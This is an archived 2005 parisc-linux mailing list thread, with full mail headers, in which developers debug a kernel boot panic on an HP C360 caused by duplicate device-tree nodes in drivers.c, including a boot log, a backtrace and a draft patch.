Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Jul 2005 23:11:10 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx061) with SMTP; 31 Jul 2005 01:11:10 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E54007D6EF;
	Sat, 30 Jul 2005 17:11:05 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27448-04; Sat, 30 Jul 2005 17:11:05 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E771C7D6FE;
	Sat, 30 Jul 2005 17:11:04 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 31BAF7D6EA
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Jul 2005 17:10:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27412-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Jul 2005 17:10:58 -0600 (MDT)
Original-Received: from sleepie.demon.co.uk (sleepie-adsl.demon.co.uk [83.104.228.241])
	by free.linux.hp.com (Postfix) with ESMTP id BE69B7D6E9
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 30 Jul 2005 17:10:57 -0600 (MDT)
Original-Received: by sleepie.demon.co.uk (Postfix, from userid 1000)
	id 58E1A27B68B; Sun, 31 Jul 2005 00:10:56 +0100 (BST)
Content-Disposition: inline
User-Agent: Mutt/1.4.2i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WWyeYv0MeSEkT76WZHQhaXN1IGRvb0Ba
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22996

Trying to boot cvs head on a C360; this is what happens:

do_device_inventory() calls system_map_inventory(), which calls
pdc_system_map_find_mods() which returns devices in the following
order:

system_map_inventory() f2003000, -1 -1 -1 -1 8 0 + 63
system_map_inventory() ffd00000, -1 -1 -1 -1 -1 8 + 16
system_map_inventory() ffd05000, -1 -1 -1 -1 8 16 + 4
system_map_inventory() ffd06000, -1 -1 -1 -1 8 16 + 5
system_map_inventory() ffd02000, -1 -1 -1 -1 8 16 + 0
system_map_inventory() ffd04000, -1 -1 -1 -1 8 16 + 1
system_map_inventory() ffd08000, -1 -1 -1 -1 8 16 + 7
system_map_inventory() ffd08100, -1 -1 -1 -1 8 16 + 8
system_map_inventory() f203f000, -1 -1 -1 -1 -1 8 + 63
system_map_inventory() f103f000, -1 -1 -1 -1 -1 10 + 63
system_map_inventory() f1000000, -1 -1 -1 -1 -1 10 + 0
system_map_inventory() f2000000, -1 -1 -1 -1 -1 8 + 0

so the first device node we try to create is 8/0/63.  That causes
nodes 8 and 8/0 to get created by create_parisc_device() calling
alloc_tree_node() as it walks the path.  Those two nodes are left
with "dev->id.hw_type = HPHW_FAULTY" by create_tree_node().

Next we try to create device node 8/16.  We end up in match_by_id()
to check if a node for '8' exists already.  Because that node is
marked HPHW_FAULTY it gets ignored, and alloc_tree_node() ends up
creating a second node for device '8'.  We then go on to try and
register this second node '8' with sysfs and things start falling
apart because the node already exists.

I tried making match_by_id() treat HPHW_FAULTY nodes as valid
and then the boot gets much further:


Found devices:
1. Raven U/L2 Dino RS-232 at 0xf2003000 [8/0/63] { 10, 0x0, 0x006, 0x0008c }
2. Raven+ w SE FWSCSI Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x056, 0x0008c }
3. Raven+ w SE FWSCSI Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x056, 0x00082 } 
4. Raven+ w SE FWSCSI Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x056, 0x00074 },  additional addresses: 0xffd01000 0xffd03000 
5. Raven+ w SE FWSCSI Core Audio at 0xffd04000 [8/16/1] { 10, 0x4, 0x056, 0x0007b }
6. Raven+ w SE FWSCSI Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x056, 0x00084 }
7. Raven+ w SE FWSCSI Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x056, 0x00084 }
8. Dino PCI Bridge at 0xf2000000 [8/0] { 13, 0x3, 0x680, 0x0000a },  additional addresses: 0xf2800000 
9. Raven+ w SE FWSCSI Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x056, 0x00081 },  additional addresses: 0xffd0c000 0xffc00000 
10. U2-IOA BC GSC+ Port at 0xf203f000 [8/63] { 7, 0x1, 0x501, 0x0000c }
11. Raven U/L2 Dino PS/2 Port at 0xf2001000 [8/1] { 10, 0x0, 0x006, 0x00096 }
12. U2-IOA BC GSC+ Port at 0xf103f000 [10/63] { 7, 0x1, 0x501, 0x0000c }
13. Cujo PCI Bridge at 0xf1000000 [10/0] { 13, 0x1, 0x682, 0x0000a },  additional addresses: 0xf1800000 0xf6000000 
14. Dino RS-232 at 0xf1003000 [10/3] { 10, 0x0, 0x007, 0x0008c }
15. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0xf, 0x580, 0x0000b }
16. U2-IOA BC Runway Port at 0xfff8a000 [10] { 12, 0xf, 0x580, 0x0000b }
17. Raven W 360 (9000/780) at 0xfffa0000 [32] { 0, 0x0, 0x5c6, 0x00004 }
18. Memory at 0xfffb1000 [49] { 1, 0x0, 0x097, 0x00009 }
CPU(s): 1 x PA8500 (PCX-W) at 367.111100 MHz
Setting cache flush threshold to 720 (1 CPUs online)
Found U2 at 0xfff88000
Found U2 at 0xfff8a000
Lasi version 0 at 0xffd00000 found.
Dino version 3.1 found at 0xf2000000
DEV: registering device: ID = 'pci0000:00'
DEV: registering device: ID = '0000:00:13.0'
DEV: registering device: ID = '0000:00:14.0'
Cujo version 2.0 found at 0xf1000000
Enabling Cujo 2.0 bug workaround
DEV: registering device: ID = 'pci0000:01'
DEV: registering device: ID = '0000:01:04.0'
SCSI subsystem initialized
TC classifier action (bugs to netdev@vger.kernel.org cc hadi@cyberus.ca)
unwind_init: start = 0x10423e20, end = 0x10447940, entries = 9138
inotify syscall
VFS: Disk quotas dquot_6.5.1
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
Initializing Cryptographic API
PDC Stable Storage facility v0.09
Backtrace:
 [<10128170>] __wake_up+0x54/0x84
 [<1014b3b8>] __queue_work+0x60/0x80
 [<10142484>] run_timer_softirq+0x148/0x240
 [<1013c2dc>] __do_softirq+0x140/0x194
 [<10104958>] __lock_text_end+0x58/0x64
 [<1010e068>] intr_return+0x0/0x24
 [<103d7990>] klist_next+0x8/0x78
 [<102bea2c>] device_for_each_child+0x30/0x8c
 [<101122c0>] descend_children+0x20/0x50
 [<102bea50>] device_for_each_child+0x54/0x8c
 [<101122c0>] descend_children+0x20/0x50
 [<102bea50>] device_for_each_child+0x54/0x8c
 [<101122c0>] descend_children+0x20/0x50
 [<10112310>] for_each_padev+0x20/0x2c
 [<1011292c>] parse_tree_node+0x48/0x64
 [<10112a08>] check_parent+0x64/0x154


Bad Address (null pointer deref?): Code=6 regs=12ab5380 (Addr=081f0242)
Kernel panic - not syncing: Bad Address (null pointer deref?)


The devices are not printed in a logical order (e.g. 8/0/63 is before
8/0) which I think is a change for earlier kernels.

The change I made to match_by_id() was just to disable the call to
check_dev().

Anyone got any thoughts or suggestions on drivers.c or the device
discovery order?

Thanks,
  Richard

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@levanta.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs head arch/parisc/kernel/drivers.c issues
Date: Sun, 31 Jul 2005 21:01:44 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20050731200144.GF5500@levanta.com>
References: <20050730231056.GC5500@levanta.com>
	<20050731061254.GG21753@roadwarrior.mcmartin.ca>
	<20050731090005.GD5500@levanta.com>
	<20050731193229.GE5500@levanta.com>
	<20050731193821.GI21753@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623873 15891 80.91.229.3 (22 Nov 2014 02:37:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jul 2005 20:01:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 31 Jul 2005 22:01:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B56A7D695;
	Sun, 31 Jul 2005 14:01:50 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02557-08; Sun, 31 Jul 2005 14:01:50 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 93FD27D696;
	Sun, 31 Jul 2005 14:01:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6A35F7D688
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 14:01:46 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02709-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 14:01:45 -0600 (MDT)
Original-Received: from sleepie.demon.co.uk (sleepie-adsl.demon.co.uk [83.104.228.241])
	by free.linux.hp.com (Postfix) with ESMTP id B43C37D686
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 14:01:45 -0600 (MDT)
Original-Received: by sleepie.demon.co.uk (Postfix, from userid 1000)
	id E986827B68B; Sun, 31 Jul 2005 21:01:44 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20050731193821.GI21753@roadwarrior.mcmartin.ca>
User-Agent: Mutt/1.4.2i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ZkufYrNXeSEkdr6WZHQhaXN1IGRvb4AI
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22997

On Sun, Jul 31, 2005 at 03:38:21PM -0400, Kyle McMartin wrote:
> On Sun, Jul 31, 2005 at 08:32:29PM +0100, Richard Hirst wrote:
> > I noticed the 2.6.13 kernel is using completely different IRQ allocations
> > from 2.6.8 (cat /proc/interrupts); is this expected?
> > 
> 
> Yeah, willy rewrote our interrupt support sometime around 2.6.10.

OK; booted 2.6.12-pa2 and and got the same allocations, with ps/2
on irq 20.

Richard

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs head arch/parisc/kernel/drivers.c issues
Date: Sun, 31 Jul 2005 16:13:35 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <20050731201335.GJ21753@roadwarrior.mcmartin.ca>
References: <20050730231056.GC5500@levanta.com>
	<20050731061254.GG21753@roadwarrior.mcmartin.ca>
	<20050731090005.GD5500@levanta.com>
	<20050731193229.GE5500@levanta.com>
	<20050731193821.GI21753@roadwarrior.mcmartin.ca>
	<20050731200144.GF5500@levanta.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623873 15894 80.91.229.3 (22 Nov 2014 02:37:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@levanta.com>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jul 2005 20:15:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 31 Jul 2005 22:15:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F0187D6A5;
	Sun, 31 Jul 2005 14:15:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03089-01; Sun, 31 Jul 2005 14:15:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1764B7D69F;
	Sun, 31 Jul 2005 14:15:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 006567D69D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 14:15:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02948-02 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 14:15:30 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 6D11E7D69C
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 14:15:30 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id A963217050;
	Sun, 31 Jul 2005 16:15:29 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07263-08; Sun, 31 Jul 2005 16:15:18 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 76D7A1707B; Sun, 31 Jul 2005 16:15:18 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x172513354-52656d6f746546617454697265-494e424f582e4f7574626f78: 1122840844-0720154302422-v4.0.10
Content-Disposition: inline
In-Reply-To: <20050731200144.GF5500@levanta.com>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: OVSfYg0UeSEkTL6WZHQhaXN1IGRvbwAQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22998

On Sun, Jul 31, 2005 at 09:01:44PM +0100, Richard Hirst wrote:
> OK; booted 2.6.12-pa2 and and got the same allocations, with ps/2
> on irq 20.
> 

I think the problem is that check_dev isn't properly passing the "next"
device if it's faulty.

http://cvs.parisc-linux.org/linux-2.6/arch/parisc/kernel/drivers.c?rev=1.9&view=markup

For how it used to look.

Cheers,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs head arch/parisc/kernel/drivers.c issues
Date: Sun, 31 Jul 2005 16:23:38 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <20050731202338.GK21753@roadwarrior.mcmartin.ca>
References: <20050730231056.GC5500@levanta.com>
	<20050731061254.GG21753@roadwarrior.mcmartin.ca>
	<20050731090005.GD5500@levanta.com>
	<20050731193229.GE5500@levanta.com>
	<20050731193821.GI21753@roadwarrior.mcmartin.ca>
	<20050731200144.GF5500@levanta.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623873 15897 80.91.229.3 (22 Nov 2014 02:37:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@levanta.com>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jul 2005 20:26:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx011) with SMTP; 31 Jul 2005 22:26:05 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4FB0F7D6A8;
	Sun, 31 Jul 2005 14:26:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03242-04; Sun, 31 Jul 2005 14:26:02 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A89A27D6A9;
	Sun, 31 Jul 2005 14:26:01 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 60C257D6A3
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 14:25:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03089-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 14:25:57 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id CCED47D69D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 14:25:57 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 41D4F17050;
	Sun, 31 Jul 2005 16:25:57 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07562-01; Sun, 31 Jul 2005 16:25:45 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id 47D601707B; Sun, 31 Jul 2005 16:25:45 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-2143870916-52656d6f746546617454697265-494e424f582e4f7574626f78: 1122841471-0861819759213-v4.0.10
Content-Disposition: inline
In-Reply-To: <20050731200144.GF5500@levanta.com>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ilafYrwyeSEkeb6WZHQhaXN1IGRvb4BO
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22999

On Sun, Jul 31, 2005 at 09:01:44PM +0100, Richard Hirst wrote:
> OK; booted 2.6.12-pa2 and and got the same allocations, with ps/2
> on irq 20.
> 

Can you try something like this?

#define check_dev(padev) (padev->id.hw_type != HPHW_FAULTY) \
				? padev : next_device(padev)


static struct parisc_device *
next_device(struct parisc_device *padev) {
	struct device *dev;
	struct klist_iter i;
	struct parisc_device *next = NULL;

	if (!padev)
		return NULL;

	klist_iter_init(&padev->dev.klist_children, &i);
	
	dev = next_device(&i);
	if (dev)
		next = to_parisc_device(dev);
	klist_iter_exit(&i);

	return next;
}

-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs head arch/parisc/kernel/drivers.c issues
Date: Sun, 31 Jul 2005 16:27:09 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20050731202709.GL21753@roadwarrior.mcmartin.ca>
References: <20050730231056.GC5500@levanta.com>
	<20050731061254.GG21753@roadwarrior.mcmartin.ca>
	<20050731090005.GD5500@levanta.com>
	<20050731193229.GE5500@levanta.com>
	<20050731193821.GI21753@roadwarrior.mcmartin.ca>
	<20050731200144.GF5500@levanta.com>
	<20050731202338.GK21753@roadwarrior.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623874 15899 80.91.229.3 (22 Nov 2014 02:37:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@levanta.com>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Jul 2005 20:29:14 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 31 Jul 2005 22:29:14 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E44F7D6B6;
	Sun, 31 Jul 2005 14:29:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03531-01; Sun, 31 Jul 2005 14:29:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 327D97D6B1;
	Sun, 31 Jul 2005 14:29:09 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5470A7D6AF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 14:29:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03389-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 14:29:05 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id C099E7D6AE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 31 Jul 2005 14:29:05 -0600 (MDT)
